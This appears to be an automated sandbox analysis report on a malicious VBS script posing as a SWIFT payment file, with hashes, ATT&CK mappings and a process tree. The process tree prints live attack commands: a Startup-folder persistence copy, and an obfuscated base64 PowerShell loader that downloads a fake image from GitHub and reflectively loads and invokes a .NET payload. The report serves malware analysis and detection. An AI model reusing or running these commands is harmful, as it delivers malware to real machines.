312971f40612d0785da650c0627161e1358e04fd134cb4c382252f0ca8988891

General

Target

Swift Payment 20241014839374.vbs
Size

193KB
MD5

7bf746f21b05c1eb932ba35c5215e940
SHA1

aa69f725076d84e5fac54816caf29864d007e8da
SHA256

312971f40612d0785da650c0627161e1358e04fd134cb4c382252f0ca8988891
SHA512

4d85a6ed27ba76fc295ea8bd24cb03bd801bf15d74561af5e24d77ff321960fdc32a6ada12b06865ce3e0002c422ce02ef3e6e11a97be1f8b47cfe6e8facd29f
SSDEEP

3072:8mpzxQF4KEDwjHUiIgt5p5Gw4fiLQtUWBrSp8muIJ8oH7lT:8FF4KEMjHiNrSV8CV

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

exe.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2332	powershell.exe
6	2332	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2920	powershell.exe
2332	powershell.exe
2900	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dentona.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dentona.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2792	PING.EXE
2712	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2792	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2900	powershell.exe
2920	powershell.exe
2332	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2712	1992	WScript.exe	30
PID 1992 wrote to memory of 2712	1992	WScript.exe	30
PID 1992 wrote to memory of 2712	1992	WScript.exe	30
PID 2712 wrote to memory of 2792	2712	cmd.exe	32
PID 2712 wrote to memory of 2792	2712	cmd.exe	32
PID 2712 wrote to memory of 2792	2712	cmd.exe	32
PID 2712 wrote to memory of 2900	2712	cmd.exe	33
PID 2712 wrote to memory of 2900	2712	cmd.exe	33
PID 2712 wrote to memory of 2900	2712	cmd.exe	33
PID 1992 wrote to memory of 2920	1992	WScript.exe	34
PID 1992 wrote to memory of 2920	1992	WScript.exe	34
PID 1992 wrote to memory of 2920	1992	WScript.exe	34
PID 2920 wrote to memory of 2332	2920	powershell.exe	36
PID 2920 wrote to memory of 2332	2920	powershell.exe	36
PID 2920 wrote to memory of 2332	2920	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Swift Payment 20241014839374.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Swift Payment 20241014839374.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.anotned.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Swift Payment 20241014839374.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.anotned.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTSEVsTGlEWzFdKyRTaEVMTElkWzEzXSsneCcpKCAoKCd7MH1pbWFnZVVyJysnbCA9IHsxfWh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyB7MX07ezB9d2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVuJysndDt7MH1pbWFnZUJ5dGVzID0gezB9Jysnd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh7MH1pbWFnZVVybCk7ezB9aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoezB9aW1hZ2VCeXRlcyk7ezB9c3RhcnRGbGFnID0gezF9PDxCQVNFNjRfU1RBJysnUlQ+PnsxfTt7MH1lbmRGbGFnID0gezF9PDxCQVNFNjRfRU5EPj57MX07ezB9c3RhcnRJbmRleCA9IHswfWltYWdlVGV4dC5JbmRleE9mKHswfScrJ3N0YXJ0RmxhZyk7ezB9ZW5kSW5kZXggPSB7MH1pbWFnZVRleHQuSW5kZXhPZih7MH1lbmRGbGFnKTt7MH1zdGFydEluZGV4IC1nZSAwIC1hbmQgezB9ZW5kSW5kZXggLWd0IHswfXN0YXJ0SW5kZXg7ezB9c3RhcnRJbmRleCArPSB7MH1zdGFydEZsYWcuTGVuZ3RoO3swfWJhJysnc2U2NExlbmd0aCA9IHswfWVuZEluZGV4IC0gezB9c3RhcnRJJysnbmRleDt7MH1iYXNlNjRDbycrJ21tYW5kID0gezB9aW1hZ2VUZXh0LlN1YnN0cmluZyh7MH1zdGFydEluZGV4LCAnKyd7MH1iYXNlNjRMZW5ndGgpO3swfWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlJysnNjRTJysndHJpbmcoezB9YmFzZTY0Q29tbWFuZCk7ezB9bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzJysnZW1ibHldOjpMb2FkKHswfWNvbW1hbmRCeXRlcyknKyc7ezB9dmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkcnKydldE1ldGhvZCh7MX1WQUl7MX0pO3swfXZhaU1ldGhvZC5JbnZva2UoezB9bnVsbCwgQCh7MX0wLzYxNnJyL2QvZWUuZXRzYXAvLzpzcHR0aHsxfScrJywgJysnezF9ZGVzYScrJ3RpdmFkb3sxfSwgezF9ZGVzYXRpdmFkb3sxfSwgezF9ZGVzYScrJ3RpdmFkb3sxfSwgezF9QWRkSW5Qcm8nKydjZXNzMzJ7MX0sIHsnKycxfWRlc2F0aXZhZG97MX0sIHsxfWRlc2F0aXZhZG97MX0pKTsnKSAgLUZbY2hhUl0zNixbY2hhUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SHElLiD[1]+$ShELLId[13]+'x')( (('{0}imageUr'+'l = {1}https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg {1};{0}webClient = New-Object System.Net.WebClien'+'t;{0}imageBytes = {0}'+'webClient.DownloadData({0}imageUrl);{0}imageText = [System.Text.Encoding]::UTF8.GetString({0}imageBytes);{0}startFlag = {1}<<BASE64_STA'+'RT>>{1};{0}endFlag = {1}<<BASE64_END>>{1};{0}startIndex = {0}imageText.IndexOf({0}'+'startFlag);{0}endIndex = {0}imageText.IndexOf({0}endFlag);{0}startIndex -ge 0 -and {0}endIndex -gt {0}startIndex;{0}startIndex += {0}startFlag.Length;{0}ba'+'se64Length = {0}endIndex - {0}startI'+'ndex;{0}base64Co'+'mmand = {0}imageText.Substring({0}startIndex, '+'{0}base64Length);{0}commandBytes = [System.Convert]::FromBase'+'64S'+'tring({0}base64Command);{0}loadedAssembly = [System.Reflection.Ass'+'embly]::Load({0}commandBytes)'+';{0}vaiMethod = [dnlib.IO'+'.Home].G'+'etMethod({1}VAI{1});{0}vaiMethod.Invoke({0}null, @({1}0/616rr/d/ee.etsap//:sptth{1}'+', '+'{1}desa'+'tivado{1}, {1}desativado{1}, {1}desa'+'tivado{1}, {1}AddInPro'+'cess32{1}, {'+'1}desativado{1}, {1}desativado{1}));') -F[chaR]36,[chaR]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1bacf12913998c3b54f03ece52f79323

SHA1
2e662511c871f74c4576a8df3a086b3efa099269

SHA256
942fc62b18e49f6682d9faf8ed5d8f61f1cb28665ceffe7c8aef59e3427972fe

SHA512
f9bb8c9562f6aec9d15f602a5bb6878278fb5303f3fa4ffd54ab772fc229179f35a5877c6cbb1806c02c4f78547e279d464187a91b96166bc6afb024aecb08da

Download Submit
memory/2900-6-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2900-5-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp

Filesize
4KB

Download
memory/2900-9-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2900-10-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2900-11-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2900-12-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2900-13-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2900-7-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2900-8-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

Filesize
9.6MB

Download
memory/2920-19-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2920-20-0x0000000002C00000-0x0000000002C08000-memory.dmp

Filesize
32KB

Download

Analysis

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